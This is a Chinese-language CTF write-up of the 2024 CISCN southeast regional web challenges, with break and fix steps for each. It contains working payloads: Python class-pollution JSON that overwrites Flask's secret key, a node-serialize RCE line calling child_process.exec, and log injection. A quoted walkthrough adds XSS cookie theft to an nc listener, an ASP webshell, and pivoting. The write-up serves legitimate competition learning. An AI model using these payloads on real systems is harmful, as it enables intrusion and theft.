目录

  1. 1. 前言
  2. 2. welcome
  3. 3. submit
    1. 3.1. BREAK
    2. 3.2. FIX
  4. 4. 粗心的程序员
    1. 4.1. BREAK
    2. 4.2. FIX
  5. 5. Polluted
    1. 5.1. BREAK
    2. 5.2. FIX
  6. 6. bigfish
    1. 6.1. BREAK
    2. 6.2. FIX(Failed)
    3. 6.3. 2022年黑盾xss by 543
      1. 6.3.1. 思路一:搭一个平台接收cookies
      2. 6.3.2. 思路二:直接把cookies发表成新的留言
      3. 6.3.3. 跨站脚本XSS访问后台实现getshell
  7. 7. ezwp
    1. 7.1. BREAK(非预期)
  8. 8. 杂谈

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

2024CISCN华东南分区赛

2024/6/23 线下赛
  |     |   总文章阅读量:

前言

⚠热异常⚠

办的很好,下次别在fjnu办了,切割了((

现在是6月23号早上的8点36,星期天;24号,高等数学,(差)一章没看,27号,概率论,还行,还剩题没做…欸这茶歇东西还挺多ww

是web的wp

由我和@Laffey共同完成,个人对web的评价是纯拼积累,线下断网情况下有一个自己的本地博客太重要了,然后就是老赛棍魅力时刻(

image-20240623165857174


welcome

ctrl+u

image-20240623090909287


submit

BREAK

服务器不知道检查了什么东西,直接burp改后缀传马

image-20240623164803273

FIX

image-20240623164921584

对文件后缀名作白名单处理,然后对文件内容的过滤多一个php文件开始标识符

<?php
// $path = "./uploads";
error_reporting(0);
$path = "./uploads";
$content = file_get_contents($_FILES['myfile']['tmp_name']);
$x = explode('.', $_FILES['myfile']['name']);
if ($x[sizeof($x) - 1] != 'png') {
	die("只允许png哦!<br>");
}
$allow_content_type = array("image/png");
$type = $_FILES["myfile"]["type"];
if (!in_array($type, $allow_content_type)) {
	die("只允许png哦!<br>");
}
if (preg_match('/(<\?|php|script|xml|user|htaccess)/i', $content)) {
	// echo "匹配成功!";
	die('鼠鼠说你的内容不符合哦0-0');
} else {
	$file = $path . '/' . $_FILES['myfile']['name'];
	echo $file;
	if (move_uploaded_file($_FILES['myfile']['tmp_name'], $file)) {
		file_put_contents($file, $content);
		echo 'Success!<br>';
	} else {
		echo 'Error!<br>';
	}
}

粗心的程序员

BREAK

扫目录发现有源码泄露。

image-20240623165059136

居然敢写日志在php文件里面。

只把换行符给过滤了(\n),没过滤回车(\r)。

image-20240623165123023

然后访问一次home.php,再去config.php。

image-20240623165150741

FIX

直接把写日志的操作删掉。

image-20240623165240719

<?php
error_reporting(0);
include "default_info_auto_recovery.php";
session_start();
$username = $_SESSION['username'];
$id = $_SESSION['id'];
if ($username && $id) {
	echo "Hello," . "$username";
} else {
	die("NO ACCESS");
}
?>
<br>
<script type="text/javascript" src="js/jquery-1.9.0.min.js"></script>
<script type="text/javascript" src="js/jquery.base64.js"></script>
<script>
	function submitData() {
		var obj = new Object();
		obj.name = $('#newusername').val();
		var str =
			$.base64.encode(JSON.stringify(obj.name).replace("\"", "").replace("\"", ""));
		$.post("edit.php", {
				newusername: str
			},
			function(str) {
				alert(str);
				location.reload()
			});
	}
	jQuery.base64 = (function($) {
		var keyStr =
			"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

		function utf8Encode(string) {
			string = string.replace(/\r\n/g, "\n");
			var utftext = "";
			for (var n = 0; n < string.length; n++) {
				var c = string.charCodeAt(n);
				if (c < 128) {
					utftext += String.fromCharCode(c);
				} else if ((c > 127) && (c < 2048)) {
					utftext += String.fromCharCode((c >> 6) | 192);
					utftext += String.fromCharCode((c & 63) | 128);
				} else {
					utftext += String.fromCharCode((c >> 12) | 224);
					utftext += String.fromCharCode(((c >> 6) & 63) | 128);
					utftext += String.fromCharCode((c & 63) | 128);
				}
			}
			return utftext;
		}

		function encode(input) {
			var output = "";
			var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
			var i = 0;
			input = utf8Encode(input);
			while (i < input.length) {
				chr1 = input.charCodeAt(i++);
				chr2 = input.charCodeAt(i++);
				chr3 = input.charCodeAt(i++);
				enc1 = chr1 >> 2;
				enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
				enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
				enc4 = chr3 & 63;
				if (isNaN(chr2)) {
					enc3 = enc4 = 64;
				} else if (isNaN(chr3)) {
					enc4 = 64;
				}
				output = output +
					keyStr.charAt(enc1) + keyStr.charAt(enc2) +
					keyStr.charAt(enc3) + keyStr.charAt(enc4);
			}
			return output;
		}
		return {
			encode: function(str) {
				return encode(str);
			}
		};
	}(jQuery));
</script>
更改用户名<input type="text" name="newusername" id="newusername" value="">
<button type="submit" onclick="submitData()">更改</button>

Polluted

BREAK

斩下二血

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re

def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("important.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True, port=80)

原型链污染

过滤'init', 'global', 'env', 'app', '_', 'string',直接unicode绕过

{"username":"adminer","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"secret\u005fkey":"114514"}}}
}

然后就污染了,session本地生成一个:

session["username"] = "adminer"
session["password"] = "114514"

image-20240623100402510

然后带这个cookie去靶机

image-20240623100650218

嗯?我flag呢?

那就用之前boogipop的非预期打法,污染静态文件夹位置:

{"username":"adminer","password":"1","\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u005fstatic\u005ffolder":"/"}}}
}

然后访问:/static/flag即可

预期解:https://www.cnblogs.com/gxngxngxn/p/18264279

我们知道python的模板渲染标识符一般是{{}},所以上面输出[%flag%]是因为没渲染成功,需要污染jinja2的语法标识符为[%%]

{
 "__init__" : {
 "__globals__" : {
 "app" : {
 "jinja_env" :{
"variable_start_string" : "[%","variable_end_string":"%]"
 } 
 }
 }
 }

FIX

继续加已经有的黑名单就行

from flask import Flask, session, redirect, url_for,request,render_template
import os
import hashlib
import json
import re

def generate_random_md5():
    random_string = os.urandom(16)
    md5_hash = hashlib.md5(random_string)

    return md5_hash.hexdigest()
def filter(user_input):
    blacklisted_patterns = ['init', 'global', 'env', 'app', '_', 'string','secret','key','static','folder','\\']
    for pattern in blacklisted_patterns:
        if re.search(pattern, user_input, re.IGNORECASE):
            return True
    return False
def merge(src, dst):
    # Recursive merge function
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


app = Flask(__name__)
app.secret_key = generate_random_md5()

class evil():
    def __init__(self):
        pass

@app.route('/',methods=['POST'])
def index():
    username = request.form.get('username')
    password = request.form.get('password')
    session["username"] = username
    session["password"] = password
    Evil = evil()
    if request.data:
        if filter(str(request.data)):
            return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~"
        else:
            merge(json.loads(request.data), Evil)
            return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED"
    return render_template("index.html")

@app.route('/admin',methods=['POST', 'GET'])
def templates():
    username = session.get("username", None)
    password = session.get("password", None)
    if username and password:
        if username == "adminer" and password == app.secret_key:
            return render_template("important.html", flag=open("/flag", "rt").read())
        else:
            return "Unauthorized"
    else:
        return f'Hello,  This is the POLLUTED page.'

if __name__ == '__main__':
    app.run(host='0.0.0.0',debug=True, port=80)

bigfish

BREAK

访问admin路由的时候发现出现了set-cookie,给了两个cookie:is_admin=falseusername

尝试修改后传入admin路由

image-20240623122451012

成功访问

image-20240623122644430

猜测QQ管理存在任意文件读取,改存储位置为fish.js,发现可以读到

测试发现可以目录穿越,翻了一下环境变量发现没flag,还是老老实实审代码吧(

const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');

// Change working directory to /srv
process.chdir('/srv');


let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];

// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
	fs.writeFile('data.html',"#获取的数据信息\n",function(error){
		console.log("wriet error")
	});
});


const app = express();

app.engine('html',require('express-art-template'))

app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))


data_path = "data.html";

// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
    if (!req.cookies.username) {
        res.cookie('username', 'normal');
    }
    if (!req.cookies.is_admin) {
        res.cookie('is_admin', 'false');
    }
    next();
}

//主页
app.get('/', function(req, res) {
	res.sendFile(path.join(__dirname, 'public/index.html'));
});

app.post('/',function(req, res){
	fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
		console.log(req.body)
	});
	res.sendFile(path.join(__dirname, 'public/index.html'));
});


//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		res.render('admin.html',{
            datadir : data_path
        });
	}
});

app.post('/admin', setDefaultAdminCookies, function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		if(req.body.newname){
			data_path = req.body.newname;
			res.redirect('admin');
		}else{
			res.redirect('admin');
		}
	}
});


//已弃用的登录
app.get('/login', function(req, res) {
	res.sendFile(path.join(__dirname, 'public/login.html'));
});

app.post('/login', function(req, res) {
	if(req.cookies.profile){
        var str = new Buffer(req.cookies.profile, 'base64').toString();
        var obj = serialize.unserialize(str);
		if (obj.username) {
            if (escape(obj.username) === "admin") {
				res.send("Hello World");
			}
		}
	}else{
		res.sendFile(path.join(__dirname, 'public/data'));
	}
});

//QQ
app.get('/qq', function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		res.sendFile(path.join(__dirname, data_path));
	}
});


app.listen(80, '0.0.0.0');

package.json

{
  "name": "app",
  "version": "1.0.0",
  "description": "",
  "main": "app.js",
  "dependencies": {
    "art-template": "^4.13.2",
    "body-parser": "^1.19.0",
    "chrome": "0.0.1",
    "cookie-parser": "^1.4.5",
    "express": "^4.17.1",
    "express-art-template": "^1.0.1",
    "express-jwt": "^5.3.0",
    "jsonwebtoken": "^7.4.3",
    "node-schedule": "^2.0.0",
    "node-serialize": "0.0.4",
    "serialize": "^0.1.3",
    "url": "^0.11.0"
  },
  "devDependencies": {},
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "",
  "license": "ISC"
}

审计代码,发现可以直接在/login路由传cookie参数profile打serialize依赖的反序列化

直接打payload,因为不回显,所以尝试写文件带外

{"function":"_$$ND_FUNC$$_function(){\r\n\t\trequire('child_process').exec('ls />/tmp/1.txt', function(error, stdout, stderr){ console.log(stdout) });\r\n\t}()"}

image-20240623125255162

然后去前面任意文件读取那边读取/tmp/1.txt即可

FIX(Failed)

有好几个洞,猜测是差一个xss的洞,一直不会修

据说xss是22年的黑盾杯的方法:https://mp.weixin.qq.com/s/F9v9-8s2_mJhlEWRICzVvg

复现xss参考:https://blog.mo60.cn/index.php/archives/487.html

const express = require('express');
const path = require('path');
const fs = require('fs');
const cookieParser = require('cookie-parser');
const bodyParser = require('body-parser');
const serialize = require('node-serialize');
const schedule = require('node-schedule');

// Change working directory to /srv
process.chdir('/srv');


let rule1 = new schedule.RecurrenceRule();
rule1.minute = [0, 3, 6 , 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 39, 42, 45, 48, 51, 54, 57];

// 定时清除
let job1 = schedule.scheduleJob(rule1, () => {
	fs.writeFile('data.html',"#获取的数据信息\n",function(error){
		console.log("wriet error")
	});
});


const app = express();

app.engine('html',require('express-art-template'))

app.use(express.static('public'));
app.use(cookieParser());
app.use(bodyParser.json())
app.use(bodyParser.urlencoded({extended: false}))


data_path = "data.html";

// Middleware to set default cookies for /admin route
function setDefaultAdminCookies(req, res, next) {
    if (!req.cookies.username) {
        res.cookie('username', 'normal');
    }
    if (!req.cookies.is_admin) {
        res.cookie('is_admin', 'false');
    }
    next();
}

//主页
app.get('/', function(req, res) {
	res.sendFile(path.join(__dirname, 'public/index.html'));
});

app.post('/',function(req, res){
	bd=str(req.body);
	if(!bd.match(/\'|http|\"|\`|cookie|<|>|script/i)){
	fs.appendFile('data.html',JSON.stringify(req.body)+"\n",function(error){
		console.log(req.body);
	});}
	res.sendFile(path.join(__dirname, 'public/index.html'));
});


//后台管理
app.get('/admin', setDefaultAdminCookies, function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		res.render('admin.html',{
            datadir : data_path
        });
	}
});

app.post('/admin', setDefaultAdminCookies, function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		if(req.body.newname){
			qweqwe=req.body.newname;
			while(qweqwe.match(/\.\./)){
				qweqwe=qweqwe.replace('..','');
			}
			data_path = qweqwe;
			res.redirect('admin');
		}else{
			res.redirect('admin');
		}
	}
});


//已弃用的登录
app.get('/login', function(req, res) {
	res.sendFile(path.join(__dirname, 'public/login.html'));
});

app.post('/login', function(req, res) {
	if(req.cookies.profile){
        var str = new Buffer(req.cookies.profile, 'base64').toString();
		if(str.match(/(funcion|require|exec|child_process)/)){
			res.sendFile(path.join(__dirname, 'public/data'));
		}else{
        var obj = serialize.unserialize(str);
		if (obj.username) {
            if (escape(obj.username) === "admin") {
				res.send("Hello World");
			}
		}}
	}else{
		res.sendFile(path.join(__dirname, 'public/data'));
	}
});

//QQ
app.get('/qq', function(req, res) {
	if(req.cookies.username !== "admin" || req.cookies.is_admin !== "true"){
		res.redirect('login');
	}else if(req.cookies.username === "admin" && req.cookies.is_admin === "true"){
		res.sendFile(path.join(__dirname, data_path));
	}
});


app.listen(80, '0.0.0.0');

2022年黑盾xss by 543

图片

渗透过程

一、目录扫描

使用御剑、wwwscan之类的工具扫描,或者人工猜测,可以发现后台路径/admin/。查看网页源代码也能发现注释掉的后台链接:

图片

这里也有一定的机会发现默认的access数据库文件/ly.mdb(主要取决于字典库是否够丰富,以及你的运气是否够好)。这里不发现数据库也无所谓,后面的步骤也能获取数据库。打开数据库可得一个flag。

尝试访问后台/admin/会提示只允许localhost本机访问,这时有些人会尝试修改HTTP头的host或XFF字段去访问,思维有没问题,不过这一题的考点恰好不在这方面。

二、表单测试发现跨站脚本漏洞

在留言表单的标题或内容中填写一些payload尝试命令执行、代码执行、跨站脚本等漏洞。提交后再去查看留言可以发现js脚本会执行,说明有存储型跨站脚本漏洞。

三、跨站脚本XSS窃取管理员cookies

根据经验,跨站脚本可以用来窃取他人的cookies并发送到事先准备好的接收平台上。这里提供两种接收思路:

思路一:搭一个平台接收cookies

攻击者在自己电脑上搭一个web服务,用来接收、保存数据。可以用网上开源的一些工具来搭建环境,比如:BlueLotus_XSSReceiver。代码基础比较好的话,也可以自己写一个程序来接收。

但我有更简单的方案,就是用nc,这个小工具大家更熟悉,只要用一条命令监听端口就可以收数据了:nc.exe -v -L -p 543

图片

在留言本上提交一段js脚本读取cookies并创建一个<img标签(也可以用<script标签),用其src属性来指向接收平台的URL,并把cookies内容拼接到URL的参数中。管理员浏览留言的时候就会执行代码,把cookies提交给接收平台。(写js比较666的话,你也可以调用XMLHttpRequest对象把cookies发出来)

nc会收到如下HTTP请求数据,带cookies内容:

图片

由于留言中的代码用了escape(document.cookie),所以收到的内容要进行URLDecode解码才能把特殊字符还原。

思路二:直接把cookies发表成新的留言

由于留言本内容是公开的,可以写脚本获取cookies并模拟填写表单,直接提交成一条新的留言。脚本示例如图:

图片

提交留言,等一会查看最新留言就能看到管理员发表出来的cookies数据了。

跨站脚本XSS访问后台实现getshell

前面发现/admin/只允许localhost访问。其实用XSS就可以实现以管理员的会话在本地访问后台页面。

留言提交一段JS代码,调用XMLHttpRequest对象以ajax方式访问后台路径/admin/,并把后台页面响应的HTML发送出来(跟接收cookie一样的思路)。

图片

nc收到后台网页源代码:(中文乱码并不影响分析)
图片

可以观察到后台页面主要是备份数据库文件的功能。(此处得到了数据库文件路径../ly.mdb,可以拼接成URL下载,打开获取flag)

进一步利用:

留言标题写上一句话木马<%eval request(“a”)%>,留言内容写脚本调用XMLHttpRequest对象以ajax方式模拟提交后台备份数据库的表单操作,把ly.mdb备份成一个*.asp或*.aspx的文件,就得到webshell了。脚本示例如图:

图片

提交留言,等一会就可以用中国菜刀或cknife之类的客户端连接一句话木马了。如图:

图片

在Web根目录还可以找到一个flag文件。

后续渗透:

可以上传提权工具,获取SYSTEM或administrator的权限,查看管理员桌面上的文件,发现有管理防火墙的笔记内容,得到防火墙管理后台登录权,修改防火墙策略实现内网区域的互通。

根据前面得到的权限和信息,可以进行跳板攻击,可以用Tunna或reDuh或meterpreter等工具搭建代理,把防火墙的web管理界面代理出来访问,尝试登录防火墙后台管理。

防火墙作用一:修改防火墙过滤规则使不同网络区域之间互通,可以使内网系统被访问。

防火墙作用二:防火墙可以用“目的地址转换”功能实现把内网IP、端口映射到其它网络区域。


ezwp

BREAK(非预期)

webpwn题

给了个myphp.so和index.php以及dockerfile

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
	if(preg_match('/[a-z,A-Z,0-9<>\?]/', $_POST['code']) === 0){
		eval($_POST['code']);
	}else{
		die();
	}
}else{
	phpinfo();
}
?>

环境变量没删,flag就在phpinfo里


杂谈

整个比赛过程都挺抽象的

在35度的篮球场里打8小时,人和电脑都得红温。好热…热得我要被晒干(?)了…就算没动也好热啊~

20240624205821

你在办一种很新的awdp,早上打四小时的break,下午再打四小时的fix,那早上不就等同于在打ctf?

开场的第一首歌:正在播放——春日影.mp3

image-20240626171208678

开局pwn和web的题目上反了一道,还以为web什么时候也用二进制文件跑了

不过居然真的有webpwn,当然fix不能用web的方法fix,虽然我也不明白为什么要对一个ctf题搞fix。。。

华东南web的题目难度跟初赛比真的低太多了,还好没java,不然真得寄

然后是一些需要注意的事:

  • 本地 vscode 的commit ID会经常改变,于是建议在开赛当天还能联网的时候先下载好对应的ssh连接包
  • 开发和安全缺一不可,别attack嘎嘎做然后waf写不动(

接下来就是思考怎么准备决赛了,先立几个要完成的目标:

  • CTF部分:因为到现在hw面试连个着落都没有,所以试图一个月内跟着Drun1baby师傅的java学习路线搞定java(x;然后是复现之前比赛屯下的题目,那些比赛的题,很难,但得会;还有少刷点视频,多看看知识星球
  • 渗透:有巨魔在,渗透压力会小一点,但是我自己也得去学一下内网代理,打打春秋云境和vulhub,然后准备自己的漏洞库,这个估计得多看看狗佬的博客了
  • AWD:吸取大b哥的经验,提前造轮子打批量,不然到时候有咱急的;然后就是记得把jar和war包打包明白(
  • Build:?
  • 期末考:别挂,别挂,别挂,再挂下去会似
  • 整点阳间的作息吧哥,放假了就别熬夜了,还是享受当下重要!
  • 别成天惦记凹你那总力战/深渊/肉鸽了,还有很多事没做,有这时间都能推几个ap了,steam上还有一堆galgame没推呢((

什么,我一个月搞定这些,真的假的?